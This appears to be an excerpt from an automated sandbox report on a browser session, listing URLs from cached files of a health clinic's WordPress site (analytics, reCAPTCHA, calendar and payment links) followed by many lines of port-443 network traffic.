Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2022/06/Childress-Josh-9F7A6981-e1660334917549-96x96.
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2022/11/FTCA-Badge_web-version.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-136x136.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-150x150.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-168x168.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-192x192.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-250x250.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-300x300.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-336x336.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-350x350.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-550x550.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-68x68.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312-96x96.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/07/Dr.-Whittaker-2215-e1698170042312.jpg
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/11/AE-2023.png
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/11/HDR-2023.png
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/11/HIT-2023.png
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/11/HQL-gold-2023.png
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-content/uploads/2023/11/NQL-HH-2023.png
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-includes/css/dist/block-library/style.min.css
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-includes/js/imagesloaded.min.js?ver=5.0.0
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-includes/js/masonry.min.js?ver=4.2.2
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-json/
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fvalleyprohealth.org%2F
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fvalleyprohealth.org%2F&f
Source: chromecache_415.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fvalleyprohealth.org%2Fservice
Source: chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-json/wp/v2/pages/1321
Source: chromecache_415.2.dr	String found in binary or memory: https://valleyprohealth.org/wp-json/wp/v2/pages/1451
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/xmlrpc.php
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://valleyprohealth.org/xmlrpc.php?rsd
Source: chromecache_281.2.dr, chromecache_450.2.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://wp-rocket.me
Source: chromecache_290.2.dr, chromecache_467.2.dr, chromecache_307.2.dr, chromecache_305.2.dr	String found in binary or memory: https://www.apache.org/licenses/
Source: chromecache_572.2.dr, chromecache_392.2.dr, chromecache_287.2.dr	String found in binary or memory: https://www.constantcontact.com/legal/customer-contact-data-notice
Source: chromecache_524.2.dr, chromecache_398.2.dr, chromecache_491.2.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_635.2.dr, chromecache_621.2.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_635.2.dr, chromecache_621.2.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_635.2.dr, chromecache_621.2.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_400.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_635.2.dr, chromecache_621.2.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MDMydnRpNGtnYTllZmR2bzM0NmsydmtmZnBfMjAyNDA0MDlUMTIzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MG9wNWxzY3Z0bms1MnNoMWlyNHIwcmVrMDJfMjAyNDA0MTVUMTIzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MDJUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MDRUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MDlUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MTFUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MTZUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MThUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MjNUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MjVUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA0MzBUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MGdrMm5sY2Y2Y2liNWNvMmRpN2FjOHZkZjRfMjAyNDA1MDJUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MWNiZnJiazA2MXMzamkzdDg3bGNuOWwzOXBfMjAyNDA0MDFUMTIzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MWNiZnJiazA2MXMzamkzdDg3bGNuOWwzOXBfMjAyNDA0MjJUMTIzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MXJua3FuZmppMW43c3FmaGdva2c5YXNwZjhfMjAyNDA0MDRUMTMzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MXJua3FuZmppMW43c3FmaGdva2c5YXNwZjhfMjAyNDA0MTFUMTMzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MXJua3FuZmppMW43c3FmaGdva2c5YXNwZjhfMjAyNDA0MThUMTMzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MXJua3FuZmppMW43c3FmaGdva2c5YXNwZjhfMjAyNDA0MjVUMTMzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MXJua3FuZmppMW43c3FmaGdva2c5YXNwZjhfMjAyNDA1MDJUMTMzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MXQycDk4c2o4dXJjbnNvdWVrbDkwMDJjYzVfMjAyNDA0MTZUMTIzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=MjhnbWdzcWw1NGNoNHJvaDY1OWoyamVmZDYgZmxjOWZxN3R0OW5sbzUycW
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=N3FzOGk1dW9sYW51bnBtZm1wamVucTN2MGEgZmxjOWZxN3R0OW5sbzUycW
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NDRoajZmNm5kbmJ2ZmZqbWlpbnNlMDRwNm5fMjAyNDA0MjlUMTIzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NGUyZXJmZG9uMjBpa2pmZGgxOXBiODdtODAgZmxjOWZxN3R0OW5sbzUycW
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NW8xcmZwMmw2bGdqbm82bTRna2RhZXR1bmZfMjAyNDA0MjRUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NW9yM3FpZThtZzEzcXBobmxncm5zODN2bzcgZmxjOWZxN3R0OW5sbzUycW
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NXNpOXVyczAxOWQyNTZiN3U2aW9lbGZzdjcgZmxjOWZxN3R0OW5sbzUycW
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NXVydWtxcmxxaDVrZnZwNWhuMjVsZ2NjZmNfMjAyNDA0MDFUMTYzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NXVydWtxcmxxaDVrZnZwNWhuMjVsZ2NjZmNfMjAyNDA0MTVUMTYzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NXVydWtxcmxxaDVrZnZwNWhuMjVsZ2NjZmNfMjAyNDA0MjJUMTYzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NXVydWtxcmxxaDVrZnZwNWhuMjVsZ2NjZmNfMjAyNDA0MjlUMTYzMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NnI5bnFiZzY0MXRiYzUyb3ZzanA4ODJydmFfMjAyNDA0MDNUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NnI5bnFiZzY0MXRiYzUyb3ZzanA4ODJydmFfMjAyNDA0MTBUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NnI5bnFiZzY0MXRiYzUyb3ZzanA4ODJydmFfMjAyNDA0MTdUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NnI5bnFiZzY0MXRiYzUyb3ZzanA4ODJydmFfMjAyNDA0MjRUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NnI5bnFiZzY0MXRiYzUyb3ZzanA4ODJydmFfMjAyNDA1MDFUMTIwMDAwWi
Source: chromecache_390.2.dr, chromecache_285.2.dr	String found in binary or memory: https://www.google.com/calendar/event?eid=NzU3OTlobmNxaTgyZGxqYTY3NDE2bzY4bGJfMjAyNDA0MzBUMTIzMDAwWi
Source: chromecache_403.2.dr	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: chromecache_364.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js?onload=ctctOnLoadCallback&render=explicit
Source: chromecache_290.2.dr, chromecache_467.2.dr, chromecache_262.2.dr, chromecache_307.2.dr, chromecache_305.2.dr, chromecache_377.2.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_450.2.dr	String found in binary or memory: https://www.google.com/shopping/customerreviews/badge?usegapi=1
Source: chromecache_450.2.dr	String found in binary or memory: https://www.google.com/shopping/customerreviews/optin?usegapi=1
Source: chromecache_533.2.dr, chromecache_403.2.dr	String found in binary or memory: https://www.google.com/support/translate
Source: chromecache_524.2.dr, chromecache_416.2.dr, chromecache_398.2.dr, chromecache_519.2.dr, chromecache_569.2.dr, chromecache_491.2.dr, chromecache_400.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_281.2.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.login
Source: chromecache_281.2.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_281.2.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chromecache_524.2.dr, chromecache_416.2.dr, chromecache_398.2.dr, chromecache_519.2.dr, chromecache_569.2.dr, chromecache_491.2.dr, chromecache_400.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_635.2.dr, chromecache_621.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-128496723-1
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-M6GP474
Source: chromecache_290.2.dr, chromecache_467.2.dr, chromecache_307.2.dr, chromecache_305.2.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__.
Source: chromecache_403.2.dr	String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_42x16dp.png
Source: chromecache_533.2.dr, chromecache_403.2.dr	String found in binary or memory: https://www.gstatic.com/images/branding/googlelogo/1x/googlelogo_color_68x28dp.png
Source: chromecache_533.2.dr, chromecache_403.2.dr	String found in binary or memory: https://www.gstatic.com/images/branding/product/1x/translate_24dp.png
Source: chromecache_450.2.dr	String found in binary or memory: https://www.gstatic.com/partners/badge/templates/badge.html?usegapi=1
Source: chromecache_629.2.dr, chromecache_262.2.dr, chromecache_615.2.dr, chromecache_377.2.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js
Source: chromecache_472.2.dr	String found in binary or memory: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://www.instagram.com/valleyprofessionals/
Source: chromecache_416.2.dr, chromecache_400.2.dr	String found in binary or memory: https://www.merchant-center-analytics.goog
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=ZKXQMML32X2F4
Source: chromecache_450.2.dr	String found in binary or memory: https://www.youtube.com/subscribe_embed?usegapi=1
Source: chromecache_360.2.dr	String found in binary or memory: https://x.bidswitch.net/syncd?dsp_id=93&user_group=1&user_id=69c771e8-c390-4607-a64f-75376e6bf1de&ex
Source: chromecache_415.2.dr, chromecache_472.2.dr	String found in binary or memory: https://yoast.com/wordpress/plugins/seo/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 50177 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50189 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 50142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
